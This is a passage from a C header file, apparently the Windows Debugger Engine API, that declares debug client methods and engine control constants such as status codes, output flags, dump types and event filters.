CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Gets and sets process control flags.\n STDMETHOD(GetProcessOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Opens any kind of user- or kernel-mode dump file\n // and begins a debug session with the information\n // contained within it.\n STDMETHOD(OpenDumpFile)(\n THIS_\n __in PCSTR DumpFile\n ) PURE;\n // Writes a dump file from the current session information.\n // The kind of dump file written is determined by the\n // kind of session and the type qualifier given.\n // For example, if the current session is a kernel\n // debug session (DEBUG_CLASS_KERNEL) and the qualifier\n // is DEBUG_DUMP_SMALL a small kernel dump will be written.\n STDMETHOD(WriteDumpFile)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier\n ) PURE;\n\n // Indicates that a remote client is ready to\n // begin participating in the current session.\n // HistoryLimit gives a character limit on\n // the amount of output history to be sent.\n STDMETHOD(ConnectSession)(\n THIS_\n __in ULONG Flags,\n __in ULONG HistoryLimit\n ) PURE;\n // Indicates that the engine should start accepting\n // remote connections. Options specifies connection types\n // and their parameters. Supported strings are:\n // npipe:Pipe=\n // tcp:Port=\n STDMETHOD(StartServer)(\n THIS_\n __in PCSTR Options\n ) PURE;\n // List the servers running on the given machine.\n // Uses the line prefix.\n STDMETHOD(OutputServers)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n // Attempts to terminate all processes in the debuggers list.\n STDMETHOD(TerminateProcesses)(\n THIS\n ) PURE;\n // Attempts to detach from all processes in the debuggers list.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachProcesses)(\n THIS\n ) PURE;\n // Stops the current debug session. If a process\n // was created or attached an active EndSession can\n // terminate or detach from it.\n // If a kernel connection was opened it will be closed but the\n // target machine is otherwise unaffected.\n STDMETHOD(EndSession)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // If a process was started and ran to completion\n // this method can be used to retrieve its exit code.\n STDMETHOD(GetExitCode)(\n THIS_\n __out PULONG Code\n ) PURE;\n\n // Client event callbacks are called on the thread\n // of the client. In order to give thread\n // execution to the engine for callbacks all\n // client threads should call DispatchCallbacks\n // when they are idle. Callbacks are only\n // received when a thread calls DispatchCallbacks\n // or WaitForEvent. WaitForEvent can only be\n // called by the thread that started the debug\n // session so all other client threads should\n // call DispatchCallbacks when possible.\n // DispatchCallbacks returns when ExitDispatch is used\n // to interrupt dispatch or when the timeout expires.\n // DispatchCallbacks dispatches callbacks for all\n // clients associated with the thread calling\n // DispatchCallbacks.\n // DispatchCallbacks returns S_FALSE when the\n // timeout expires.\n STDMETHOD(DispatchCallbacks)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n // ExitDispatch can be used to interrupt callback\n // dispatch when a client thread is needed by the\n // client. This method is reentrant and can\n // be called from any thread.\n STDMETHOD(ExitDispatch)(\n THIS_\n __in PDEBUG_CLIENT Client\n ) PURE;\n\n // Clients are specific to the thread that\n // created them. Calls from other threads\n // fail immediately. The CreateClient method\n // is a notable exception; it allows creation\n // of a new client for a new thread.\n STDMETHOD(CreateClient)(\n THIS_\n __out PDEBUG_CLIENT* Client\n ) PURE;\n\n STDMETHOD(GetInputCallbacks)(\n THIS_\n __out PDEBUG_INPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetInputCallbacks)(\n THIS_\n __in_opt PDEBUG_INPUT_CALLBACKS Callbacks\n ) PURE;\n\n // Output callback interfaces are described separately.\n STDMETHOD(GetOutputCallbacks)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacks)(\n THIS_\n __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks\n ) PURE;\n // Output flags provide control over\n // the distribution of output among clients.\n // Output masks select which output streams\n // should be sent to the output callbacks.\n // Only Output calls with a mask that\n // contains one of the output mask bits\n // will be sent to the output callbacks.\n // These methods are reentrant.\n // If such access is not synchronized\n // disruptions in output may occur.\n STDMETHOD(GetOutputMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOutputMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n // These methods allow access to another clients\n // output mask. They are necessary for changing\n // a clients output mask when it is\n // waiting for events. These methods are reentrant\n // and can be called from any thread.\n STDMETHOD(GetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __in ULONG Mask\n ) PURE;\n // Control the width of an output line for\n // commands which produce formatted output.\n // This setting is just a suggestion.\n STDMETHOD(GetOutputWidth)(\n THIS_\n __out PULONG Columns\n ) PURE;\n STDMETHOD(SetOutputWidth)(\n THIS_\n __in ULONG Columns\n ) PURE;\n // Some of the engines output commands produce\n // multiple lines of output. A prefix can be\n // set that the engine will automatically output\n // for each line in that case, allowing a caller\n // to control indentation or identifying marks.\n // This is not a general setting for any output\n // with a newline in it. Methods which use\n // the line prefix are marked in their documentation.\n STDMETHOD(GetOutputLinePrefix)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefix)(\n THIS_\n __in_opt PCSTR Prefix\n ) PURE;\n\n // Returns a string describing the machine\n // and user this client represents. The\n // specific content of the string varies\n // with operating system. If the client is\n // remotely connected some network information\n // may also be present.\n STDMETHOD(GetIdentity)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n // Format is a printf-like format string\n // with one %s where the identity string should go.\n STDMETHOD(OutputIdentity)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCSTR Format\n ) PURE;\n\n // Event callbacks allow a client to\n // receive notification about changes\n // during the debug session.\n STDMETHOD(GetEventCallbacks)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacks)(\n THIS_\n __in_opt PDEBUG_EVENT_CALLBACKS Callbacks\n ) PURE;\n\n // The engine sometimes merges compatible callback\n // requests to reduce callback overhead. This is\n // most noticeable with output as small pieces of\n // output are collected into larger groups to\n // reduce the overall number of output callback calls.\n // A client can use this method to force all pending\n // callbacks to be delivered. This is rarely necessary.\n STDMETHOD(FlushCallbacks)(\n THIS\n ) PURE;\n\n // IDebugClient2.\n\n // Functions similarly to WriteDumpFile with\n // the addition of the ability to specify\n // per-dump-format write control flags.\n // Comment is not supported in all formats.\n STDMETHOD(WriteDumpFile2)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCSTR Comment\n ) PURE;\n // Registers additional files of supporting information\n // for a dump file open. This method must be called\n // before OpenDumpFile is called.\n // The files registered may be opened at the time\n // this method is called but generally will not\n // be used until OpenDumpFile is called.\n STDMETHOD(AddDumpInformationFile)(\n THIS_\n __in PCSTR InfoFile,\n __in ULONG Type\n ) PURE;\n\n // Requests that the remote process server shut down.\n STDMETHOD(EndProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n // Waits for a started process server to\n // exit. Allows an application running a\n // process server to monitor the process\n // server so that it can tell when a remote\n // client has asked for it to exit.\n // Returns S_OK if the process server has\n // shut down and S_FALSE for a timeout.\n STDMETHOD(WaitForProcessServerEnd)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n\n // Returns S_OK if the system is configured\n // to allow kernel debugging.\n STDMETHOD(IsKernelDebuggerEnabled)(\n THIS\n ) PURE;\n\n // Attempts to terminate the current process.\n // Exit process events for the process may be generated.\n STDMETHOD(TerminateCurrentProcess)(\n THIS\n ) PURE;\n // Attempts to detach from the current process.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachCurrentProcess)(\n THIS\n ) PURE;\n // Removes the process from the debuggers process\n // list without making any other changes. The process\n // will still be marked as being debugged and will\n // not run. This allows a debugger to be shut down\n // and a new debugger attached without taking the\n // process out of the debugged state.\n // This is only supported on some system versions.\n STDMETHOD(AbandonCurrentProcess)(\n THIS\n ) PURE;\n\n // IDebugClient3.\n\n STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(\n THIS_\n __in ULONG64 Server,\n __in PCWSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescriptionWide)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PWSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PWSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n STDMETHOD(CreateProcessWide)(\n THIS_\n __in ULONG64 Server,\n __in PWSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n STDMETHOD(CreateProcessAndAttachWide)(\n THIS_\n __in ULONG64 Server,\n __in_opt PWSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n\n // IDebugClient4.\n\n // In the following methods both a filename and a file\n // handle can be passed in. If a file handle is given\n // the filename may be omitted, although providing it\n // allows the debugger to properly report the name when\n // queried.\n // File handles cannot be used in remote calls.\n STDMETHOD(OpenDumpFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle\n ) PURE;\n STDMETHOD(WriteDumpFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCWSTR Comment\n ) PURE;\n STDMETHOD(AddDumpInformationFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle,\n __in ULONG Type\n ) PURE;\n // These methods can be used to retrieve\n // file information for all targets that\n // involve files.\n STDMETHOD(GetNumberDumpFiles)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetDumpFile)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Handle,\n __out PULONG Type\n ) PURE;\n STDMETHOD(GetDumpFileWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Handle,\n __out PULONG Type\n ) PURE;\n\n // IDebugClient5.\n\n STDMETHOD(AttachKernelWide)(\n THIS_\n __in ULONG Flags,\n __in_opt PCWSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptionsWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n STDMETHOD(SetKernelConnectionOptionsWide)(\n THIS_\n __in PCWSTR Options\n ) PURE;\n\n STDMETHOD(StartProcessServerWide)(\n THIS_\n __in ULONG Flags,\n __in PCWSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServerWide)(\n THIS_\n __in PCWSTR RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n\n STDMETHOD(StartServerWide)(\n THIS_\n __in PCWSTR Options\n ) PURE;\n STDMETHOD(OutputServersWide)(\n THIS_\n __in ULONG OutputControl,\n __in PCWSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n STDMETHOD(GetOutputCallbacksWide)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS_WIDE* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacksWide)(\n THIS_\n __in PDEBUG_OUTPUT_CALLBACKS_WIDE Callbacks\n ) PURE;\n STDMETHOD(GetOutputLinePrefixWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefixWide)(\n THIS_\n __in_opt PCWSTR Prefix\n ) PURE;\n\n STDMETHOD(GetIdentityWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n STDMETHOD(OutputIdentityWide)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCWSTR Format\n ) PURE;\n\n STDMETHOD(GetEventCallbacksWide)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS_WIDE* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacksWide)(\n THIS_\n __in PDEBUG_EVENT_CALLBACKS_WIDE Callbacks\n ) PURE;\n\n STDMETHOD(CreateProcess2)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,\n __in ULONG OptionsBufferSize,\n __in_opt PCSTR InitialDirectory,\n __in_opt PCSTR Environment\n ) PURE;\n STDMETHOD(CreateProcess2Wide)(\n THIS_\n __in ULONG64 Server,\n __in PWSTR CommandLine,\n __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,\n __in ULONG OptionsBufferSize,\n __in_opt PCWSTR InitialDirectory,\n __in_opt PCWSTR Environment\n ) PURE;\n STDMETHOD(CreateProcessAndAttach2)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,\n __in ULONG OptionsBufferSize,\n __in_opt PCSTR InitialDirectory,\n __in_opt PCSTR Environment,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n STDMETHOD(CreateProcessAndAttach2Wide)(\n THIS_\n __in ULONG64 Server,\n __in_opt PWSTR CommandLine,\n __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,\n __in ULONG OptionsBufferSize,\n __in_opt PCWSTR InitialDirectory,\n __in_opt PCWSTR Environment,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n\n // Helpers for saving and restoring the\n // current output line prefix.\n STDMETHOD(PushOutputLinePrefix)(\n THIS_\n __in_opt PCSTR NewPrefix,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(PushOutputLinePrefixWide)(\n THIS_\n __in_opt PCWSTR NewPrefix,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(PopOutputLinePrefix)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n // Queries to determine if any clients\n // could potentially respond to the given callback.\n STDMETHOD(GetNumberInputCallbacks)(\n THIS_\n __out PULONG Count\n ) PURE;\n STDMETHOD(GetNumberOutputCallbacks)(\n THIS_\n __out PULONG Count\n ) PURE;\n STDMETHOD(GetNumberEventCallbacks)(\n THIS_\n __in ULONG EventFlags,\n __out PULONG Count\n ) PURE;\n\n // Control over locking the session against\n // undesired quits. The quit lock string\n // cannot be retrieved from a secure session.\n STDMETHOD(GetQuitLockString)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n STDMETHOD(SetQuitLockString)(\n THIS_\n __in PCSTR String\n ) PURE;\n STDMETHOD(GetQuitLockStringWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n STDMETHOD(SetQuitLockStringWide)(\n THIS_\n __in PCWSTR String\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugControl.\n//\n//----------------------------------------------------------------------------\n\n// Execution status codes used for waiting,\n// for returning current status and for\n// event method return values.\n#define DEBUG_STATUS_NO_CHANGE 0\n#define DEBUG_STATUS_GO 1\n#define DEBUG_STATUS_GO_HANDLED 2\n#define DEBUG_STATUS_GO_NOT_HANDLED 3\n#define DEBUG_STATUS_STEP_OVER 4\n#define DEBUG_STATUS_STEP_INTO 5\n#define DEBUG_STATUS_BREAK 6\n#define DEBUG_STATUS_NO_DEBUGGEE 7\n#define DEBUG_STATUS_STEP_BRANCH 8\n#define DEBUG_STATUS_IGNORE_EVENT 9\n#define DEBUG_STATUS_RESTART_REQUESTED 10\n#define DEBUG_STATUS_REVERSE_GO 11\n#define DEBUG_STATUS_REVERSE_STEP_BRANCH 12\n#define DEBUG_STATUS_REVERSE_STEP_OVER 13\n#define DEBUG_STATUS_REVERSE_STEP_INTO 14\n\n#define DEBUG_STATUS_MASK 0xf\n\n// This bit is added in DEBUG_CES_EXECUTION_STATUS\n// notifications when the engines execution status\n// is changing due to operations performed during\n// a wait, such as making synchronous callbacks. If\n// the bit is not set the execution status is changing\n// due to a wait being satisfied.\n#define DEBUG_STATUS_INSIDE_WAIT 0x100000000\n// This bit is added in DEBUG_CES_EXECUTION_STATUS\n// notifications when the engines execution status\n// update is coming after a wait has timed-out.\n// It indicates that the execution status change\n// was not due to an actual event.\n#define DEBUG_STATUS_WAIT_TIMEOUT 0x200000000\n\n// Output control flags.\n// Output generated by methods called by this\n// client will be sent only to this clients\n// output callbacks.\n#define DEBUG_OUTCTL_THIS_CLIENT 0x00000000\n// Output will be sent to all clients.\n#define DEBUG_OUTCTL_ALL_CLIENTS 0x00000001\n// Output will be sent to all clients except\n// the client generating the output.\n#define DEBUG_OUTCTL_ALL_OTHER_CLIENTS 0x00000002\n// Output will be discarded immediately and will not\n// be logged or sent to callbacks.\n#define DEBUG_OUTCTL_IGNORE 0x00000003\n// Output will be logged but not sent to callbacks.\n#define DEBUG_OUTCTL_LOG_ONLY 0x00000004\n// All send control bits.\n#define DEBUG_OUTCTL_SEND_MASK 0x00000007\n// Do not place output from this client in\n// the global log file.\n#define DEBUG_OUTCTL_NOT_LOGGED 0x00000008\n// Send output to clients regardless of whether the\n// mask allows it or not.\n#define DEBUG_OUTCTL_OVERRIDE_MASK 0x00000010\n// Text is markup instead of plain text.\n#define DEBUG_OUTCTL_DML 0x00000020\n\n// Special values which mean leave the output settings\n// unchanged.\n#define DEBUG_OUTCTL_AMBIENT_DML 0xfffffffe\n#define DEBUG_OUTCTL_AMBIENT_TEXT 0xffffffff\n\n// Old ambient flag which maps to text.\n#define DEBUG_OUTCTL_AMBIENT DEBUG_OUTCTL_AMBIENT_TEXT\n\n// Interrupt types.\n// Force a break in if the debuggee is running.\n#define DEBUG_INTERRUPT_ACTIVE 0\n// Notify but do not force a break in.\n#define DEBUG_INTERRUPT_PASSIVE 1\n// Try and get the current engine operation to\n// complete so that the engine will be available\n// again. If no wait is active this is the same\n// as a passive interrupt. If a wait is active\n// this will try to cause the wait to fail without\n// breaking in to the debuggee. There is\n// no guarantee that issuing an exit interrupt\n// will cause the engine to become available\n// as not all operations are arbitrarily\n// interruptible.\n#define DEBUG_INTERRUPT_EXIT 2\n\n// OutputCurrentState flags. These flags\n// allow a particular type of information\n// to be displayed but do not guarantee\n// that it will be displayed. Other global\n// settings may override these flags or\n// the particular state may not be available.\n// For example, source line information may\n// not be present so source line information\n// may not be displayed.\n#define DEBUG_CURRENT_DEFAULT 0x0000000f\n#define DEBUG_CURRENT_SYMBOL 0x00000001\n#define DEBUG_CURRENT_DISASM 0x00000002\n#define DEBUG_CURRENT_REGISTERS 0x00000004\n#define DEBUG_CURRENT_SOURCE_LINE 0x00000008\n\n//\n// Disassemble flags.\n//\n\n// Compute the effective address from current register\n// information and display it.\n#define DEBUG_DISASM_EFFECTIVE_ADDRESS 0x00000001\n// If the current disassembly offset has an exact\n// symbol match output the symbol.\n#define DEBUG_DISASM_MATCHING_SYMBOLS 0x00000002\n// Output the source line number for each disassembly offset.\n#define DEBUG_DISASM_SOURCE_LINE_NUMBER 0x00000004\n// Output the source file name (no path) for each disassembly offset.\n#define DEBUG_DISASM_SOURCE_FILE_NAME 0x00000008\n\n// Code interpretation levels for stepping\n// and other operations.\n#define DEBUG_LEVEL_SOURCE 0\n#define DEBUG_LEVEL_ASSEMBLY 1\n\n// Engine control flags.\n#define DEBUG_ENGOPT_IGNORE_DBGHELP_VERSION 0x00000001\n#define DEBUG_ENGOPT_IGNORE_EXTENSION_VERSIONS 0x00000002\n// If neither allow nor disallow is specified\n// the engine will pick one based on what kind\n// of debugging is going on.\n#define DEBUG_ENGOPT_ALLOW_NETWORK_PATHS 0x00000004\n#define DEBUG_ENGOPT_DISALLOW_NETWORK_PATHS 0x00000008\n#define DEBUG_ENGOPT_NETWORK_PATHS (0x00000004 | 0x00000008)\n// Ignore loader-generated first-chance exceptions.\n#define DEBUG_ENGOPT_IGNORE_LOADER_EXCEPTIONS 0x00000010\n// Break in on a debuggees initial event. In user-mode\n// this will break at the initial system breakpoint\n// for every created process. In kernel-mode it\n// will attempt break in on the target at the first\n// WaitForEvent.\n#define DEBUG_ENGOPT_INITIAL_BREAK 0x00000020\n// Break in on the first module load for a debuggee.\n#define DEBUG_ENGOPT_INITIAL_MODULE_BREAK 0x00000040\n// Break in on a debuggees final event. In user-mode\n// this will break on process exit for every process.\n// In kernel-mode it currently does nothing.\n#define DEBUG_ENGOPT_FINAL_BREAK 0x00000080\n// By default Execute will repeat the last command\n// if it is given an empty string. The flags to\n// Execute can override this behavior for a single\n// command or this engine option can be used to\n// change the default globally.\n#define DEBUG_ENGOPT_NO_EXECUTE_REPEAT 0x00000100\n// Disable places in the engine that have fallback\n// code when presented with incomplete information.\n// 1. Fails minidump module loads unless matching\n// executables can be mapped.\n#define DEBUG_ENGOPT_FAIL_INCOMPLETE_INFORMATION 0x00000200\n// Allow the debugger to manipulate page protections\n// in order to insert code breakpoints on pages that\n// do not have write access. This option is not on\n// by default as it allows breakpoints to be set\n// in potentially hazardous memory areas.\n#define DEBUG_ENGOPT_ALLOW_READ_ONLY_BREAKPOINTS 0x00000400\n// When using a software (bp/bu) breakpoint in code\n// that will be executed by multiple threads it is\n// possible for breakpoint management to cause the\n// breakpoint to be missed or for spurious single-step\n// exceptions to be generated. This flag suspends\n// all but the active thread when doing breakpoint\n// management and thereby avoids multithreading\n// problems. Care must be taken when using it, though,\n// as the suspension of threads can cause deadlocks\n// if the suspended threads are holding resources that\n// the active thread needs. Additionally, there\n// are still rare situations where problems may\n// occur, but setting this flag corrects nearly\n// all multithreading issues with software breakpoints.\n// Thread-restricted stepping and execution supersedes\n// this flags effect.\n// This flag is ignored in kernel sessions as there\n// is no way to restrict processor execution.\n#define DEBUG_ENGOPT_SYNCHRONIZE_BREAKPOINTS 0x00000800\n// Disallows executing shell commands through the\n// engine with .shell (!!).\n#define DEBUG_ENGOPT_DISALLOW_SHELL_COMMANDS 0x00001000\n// Turns on \"quiet mode\", a somewhat less verbose mode\n// of operation supported in the debuggers that were\n// superseded by dbgeng.dll. This equates to the KDQUIET\n// environment variable.\n#define DEBUG_ENGOPT_KD_QUIET_MODE 0x00002000\n// Disables managed code debugging support in the engine.\n// If managed support is already in use this flag has no effect.\n#define DEBUG_ENGOPT_DISABLE_MANAGED_SUPPORT 0x00004000\n// Disables symbol loading for all modules created\n// after this flag is set.\n#define DEBUG_ENGOPT_DISABLE_MODULE_SYMBOL_LOAD 0x00008000\n// Disables execution commands.\n#define DEBUG_ENGOPT_DISABLE_EXECUTION_COMMANDS 0x00010000\n// Disallows mapping of image files from disk for any use.\n// For example, this disallows image mapping for memory\n// content when debugging minidumps.\n// Does not affect existing mappings, only future attempts.\n#define DEBUG_ENGOPT_DISALLOW_IMAGE_FILE_MAPPING 0x00020000\n// Requests that dbgeng run DML-enhanced versions of commands\n// and operations by default.\n#define DEBUG_ENGOPT_PREFER_DML 0x00040000\n#define DEBUG_ENGOPT_ALL 0x0007FFFF\n\n// General unspecified ID constant.\n#define DEBUG_ANY_ID 0xffffffff\n\ntypedef struct _DEBUG_STACK_FRAME\n{\n ULONG64 InstructionOffset;\n ULONG64 ReturnOffset;\n ULONG64 FrameOffset;\n ULONG64 StackOffset;\n ULONG64 FuncTableEntry;\n ULONG64 Params[4];\n ULONG64 Reserved[6];\n BOOL Virtual;\n ULONG FrameNumber;\n} DEBUG_STACK_FRAME, *PDEBUG_STACK_FRAME;\n\n// OutputStackTrace flags.\n// Display a small number of arguments for each call.\n// These may or may not be the actual arguments depending\n// on the architecture, particular function and\n// point during the execution of the function.\n// If the current code level is assembly arguments\n// are dumped as hex values. If the code level is\n// source the engine attempts to provide symbolic\n// argument information.\n#define DEBUG_STACK_ARGUMENTS 0x00000001\n// Displays information about the functions\n// frame such as __stdcall arguments, FPO\n// information and whatever else is available.\n#define DEBUG_STACK_FUNCTION_INFO 0x00000002\n// Displays source line information for each\n// frame of the stack trace.\n#define DEBUG_STACK_SOURCE_LINE 0x00000004\n// Show return, previous frame and other relevant address\n// values for each frame.\n#define DEBUG_STACK_FRAME_ADDRESSES 0x00000008\n// Show column names.\n#define DEBUG_STACK_COLUMN_NAMES 0x00000010\n// Show non-volatile register context for each\n// frame. This is only meaningful for some platforms.\n#define DEBUG_STACK_NONVOLATILE_REGISTERS 0x00000020\n// Show frame numbers\n#define DEBUG_STACK_FRAME_NUMBERS 0x00000040\n// Show typed source parameters.\n#define DEBUG_STACK_PARAMETERS 0x00000080\n// Show just return address in stack frame addresses.\n#define DEBUG_STACK_FRAME_ADDRESSES_RA_ONLY 0x00000100\n// Show frame-to-frame memory usage.\n#define DEBUG_STACK_FRAME_MEMORY_USAGE 0x00000200\n// Show typed source parameters one to a line.\n#define DEBUG_STACK_PARAMETERS_NEWLINE 0x00000400\n// Produce stack output enhanced with DML content.\n#define DEBUG_STACK_DML 0x00000800\n// Show offset from stack frame\n#define DEBUG_STACK_FRAME_OFFSETS 0x00001000\n\n// Classes of debuggee. Each class\n// has different qualifiers for specific\n// kinds of debuggees.\n#define DEBUG_CLASS_UNINITIALIZED 0\n#define DEBUG_CLASS_KERNEL 1\n#define DEBUG_CLASS_USER_WINDOWS 2\n#define DEBUG_CLASS_IMAGE_FILE 3\n\n// Generic dump types. These can be used\n// with either user or kernel sessions.\n// Session-type-specific aliases are also\n// provided.\n#define DEBUG_DUMP_SMALL 1024\n#define DEBUG_DUMP_DEFAULT 1025\n#define DEBUG_DUMP_FULL 1026\n#define DEBUG_DUMP_IMAGE_FILE 1027\n#define DEBUG_DUMP_TRACE_LOG 1028\n#define DEBUG_DUMP_WINDOWS_CE 1029\n\n// Specific types of kernel debuggees.\n#define DEBUG_KERNEL_CONNECTION 0\n#define DEBUG_KERNEL_LOCAL 1\n#define DEBUG_KERNEL_EXDI_DRIVER 2\n#define DEBUG_KERNEL_IDNA 3\n\n#define DEBUG_KERNEL_SMALL_DUMP DEBUG_DUMP_SMALL\n#define DEBUG_KERNEL_DUMP DEBUG_DUMP_DEFAULT\n#define DEBUG_KERNEL_FULL_DUMP DEBUG_DUMP_FULL\n\n#define DEBUG_KERNEL_TRACE_LOG DEBUG_DUMP_TRACE_LOG\n\n// Specific types of Windows user debuggees.\n#define DEBUG_USER_WINDOWS_PROCESS 0\n#define DEBUG_USER_WINDOWS_PROCESS_SERVER 1\n#define DEBUG_USER_WINDOWS_IDNA 2\n#define DEBUG_USER_WINDOWS_SMALL_DUMP DEBUG_DUMP_SMALL\n#define DEBUG_USER_WINDOWS_DUMP DEBUG_DUMP_DEFAULT\n#define DEBUG_USER_WINDOWS_DUMP_WINDOWS_CE DEBUG_DUMP_WINDOWS_CE\n\n// Extension flags.\n#define DEBUG_EXTENSION_AT_ENGINE 0x00000000\n\n// Execute and ExecuteCommandFile flags.\n// These flags only apply to the command\n// text itself; output from the executed\n// command is controlled by the output\n// control parameter.\n// Default execution. Command is logged\n// but not output.\n#define DEBUG_EXECUTE_DEFAULT 0x00000000\n// Echo commands during execution. In\n// ExecuteCommandFile also echoes the prompt\n// for each line of the file.\n#define DEBUG_EXECUTE_ECHO 0x00000001\n// Do not log or output commands during execution.\n// Overridden by DEBUG_EXECUTE_ECHO.\n#define DEBUG_EXECUTE_NOT_LOGGED 0x00000002\n// If this flag is not set an empty string\n// to Execute will repeat the last Execute\n// string.\n#define DEBUG_EXECUTE_NO_REPEAT 0x00000004\n\n// Specific event filter types. Some event\n// filters have optional arguments to further\n// qualify their operation.\n#define DEBUG_FILTER_CREATE_THREAD 0x00000000\n#define DEBUG_FILTER_EXIT_THREAD 0x00000001\n#define DEBUG_FILTER_CREATE_PROCESS 0x00000002\n#define DEBUG_FILTER_EXIT_PROCESS 0x00000003\n// Argument is the name of a module to break on.\n#define DEBUG_FILTER_LOAD_MODULE 0x00000004\n// Argument is the base address of a specific module to break on.\n#define DEBUG_FILTER_UNLOAD_MODULE 0x00000005\n#define DEBUG_FILTER_SYSTEM_ERROR 0x00000006\n// Initial breakpoint and initial module load are one-shot\n// events that are triggered at the appropriate points in\n// the beginning of a session. Their commands are executed\n// and then further processing is controlled by the normal\n// exception and load module filters.\n#define DEBUG_FILTER_INITIAL_BREAKPOINT 0x00000007\n#define DEBUG_FILTER_INITIAL_MODULE_LOAD 0x00000008\n// The debug output filter allows the debugger to stop\n// when output is produced so that the code causing\n// output can be tracked down or synchronized with.\n// This filter is not supported for live dual-machine\n// kernel debugging.\n#define DEBUG_FILTER_DEBUGGEE_OUTPUT 0x00000009\n\n// Event filter execution options.\n// Break in always.\n#define DEBUG_FILTER_BREAK 0x00000000\n// Break in on second-chance exceptions. For events\n// that are not exceptions this is the same as BREAK.\n#define DEBUG_FILTER_SECOND_CHANCE_BREAK 